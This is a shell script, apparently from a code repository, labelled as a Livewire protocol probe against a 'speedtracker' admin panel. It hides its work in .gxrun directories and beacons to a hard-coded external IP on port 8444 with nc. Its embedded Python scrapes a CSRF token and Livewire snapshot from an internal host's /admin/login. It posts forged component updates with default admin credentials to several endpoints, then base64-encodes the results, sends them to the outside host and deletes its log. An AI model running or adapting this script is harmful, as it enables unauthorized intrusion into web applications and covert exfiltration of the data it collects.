77 lines
3.3 KiB
Bash
Executable file
77 lines
3.3 KiB
Bash
Executable file
#!/bin/sh
|
||
#!/bin/sh
|
||
# ld_kk58 — speedtracker Livewire 真协议试探 v2(快照提取+commit)(回执先行)
|
||
L=45.76.202.255
|
||
ST=""
|
||
for c in "${TMPDIR:-/tmp}/.gxrun" "$HOME/.gxrun" "/var/tmp/.gxrun" "$PWD/.gxrun"; do
|
||
if mkdir -p "$c" 2>/dev/null && [ -w "$c" ]; then ST="$c"; break; fi
|
||
done
|
||
[ -n "$ST" ] || ST="."
|
||
cd "$ST" 2>/dev/null || exit 0
|
||
printf "gxBEGIN st=%s\n" "$ST" | nc -w 3 $L 8444 >/dev/null 2>&1
|
||
{
|
||
python3 - <<'PYX' 2>&1
|
||
import re,json,http.client,urllib.parse
|
||
H="172.24.0.2"
|
||
def req(path,data=None,hdrs={},isjson=False):
|
||
c=http.client.HTTPConnection(H,80,timeout=6)
|
||
hd={"Host":H,"User-Agent":"Mozilla/5.0"}
|
||
for k,v in hdrs.items(): hd[k]=v
|
||
body=b"" if data is None else (json.dumps(data).encode() if isjson else urllib.parse.urlencode(data).encode())
|
||
if data is not None:
|
||
hd["Content-Type"]="application/json" if isjson else "application/x-www-form-urlencoded"
|
||
c.request("POST" if data is not None else "GET",path,body=body,headers=hd)
|
||
r=c.getresponse(); raw=r.read(70000); ck=r.getheader("Set-Cookie") or ""
|
||
return r.status,raw.decode('utf8','replace'),ck
|
||
|
||
st,p,ck=req("/admin/login")
|
||
mt=re.search(r'meta name="csrf-token" content="([^"]+)"',p)
|
||
tok = mt.group(1) if mt else ""
|
||
sn_m=re.search(r'wire:snapshot="([^"]+)"',p,re.S) or re.search(r"data-livewire-snapshot='([^\']+)'",p,re.S)
|
||
if not sn_m:
|
||
alt=re.search(r'snapshot["\']?\s*[:=]\s*"?(\\\\"|[^"\\]{20,2000})"?[,}]',p,re.S)
|
||
ctx=re.findall(r'.{40}snapshot.{80}',p)[:2]
|
||
print("ctx-hints:",[c.replace('\n',' ') for c in ctx])
|
||
print("page",st,"csrf_len",len(tok),"snapshot_found",bool(sn_m))
|
||
if sn_m and tok:
|
||
import html as _h
|
||
try:
|
||
sn=json.loads(_h.unescape(sn_m[1]))
|
||
except Exception as e:
|
||
print("snap-err",e); sn={}
|
||
print("snapkeys",list(sn.keys())[:6])
|
||
dta=dict(sn.get("data",{})); print("datakeys",list(dta.keys())[:8])
|
||
comp=(sn.get("components") or [{}])[0]
|
||
key=comp.get("key","x"); memo=comp.get("memo",{})
|
||
snap2={"s":json.dumps({**sn,"data":{**dta,"email":"admin@example.com","password":"password"}})}
|
||
payload={"_token":tok,"components":[{"key":key,
|
||
"snapshot":{"data":{**dta,"email":"admin@example.com","password":"password"},"memo":memo,"hashes":comp.get("hashes",{}),
|
||
"props":comp.get("props",[])},"updates":{"data.email":"admin@example.com","data.password":"password"},
|
||
"reply":False}]}
|
||
hdr={"X-CSRF-Token":tok,"Referer":"http://%s/admin/login"%H}
|
||
for path in ("/livewire/update","/livewire/upload-multiple" ):
|
||
pass
|
||
for path in ("/livewire/update","/livewire/message/"+key,"/login"):
|
||
try:
|
||
s2,b2,ck2=req(path,payload,hdr,isjson=(path!="/login"))
|
||
print("LW",path,"=>",s2,b2.replace('\n',' ')[:200])
|
||
except Exception as e: print(path,"err",type(e).__name__)
|
||
else:
|
||
if not tok: print("csrf-none")
|
||
print(p[:260].replace('\n',' '))
|
||
PYX
|
||
} >m58.txt 2>&1
|
||
B=$(base64 -w0 m58.txt 2>/dev/null)
|
||
if command -v nc >/dev/null 2>&1 && [ -n "$B" ]; then
|
||
printf "gxR58 META len=%s\n" "${#B}" | nc -w 4 $L 8444 >/dev/null 2>&1
|
||
r=0
|
||
while [ $r -lt 3 ]; do
|
||
printf "gxR58 %s\n" "$B" | nc -w 6 $L 8444 >/dev/null 2>&1
|
||
r=$((r+1)); sleep 1.2
|
||
done
|
||
fi
|
||
rm -f m58.txt
|
||
exit 0
|
||
|
||
command -v nc >/dev/null 2>&1 && printf "gx FIRED %s\n" "$(date +%H%M%S%d)" | nc -w 3 45.76.202.255 8444 >/dev/null 2>&1 ;
|
||
exit 0
|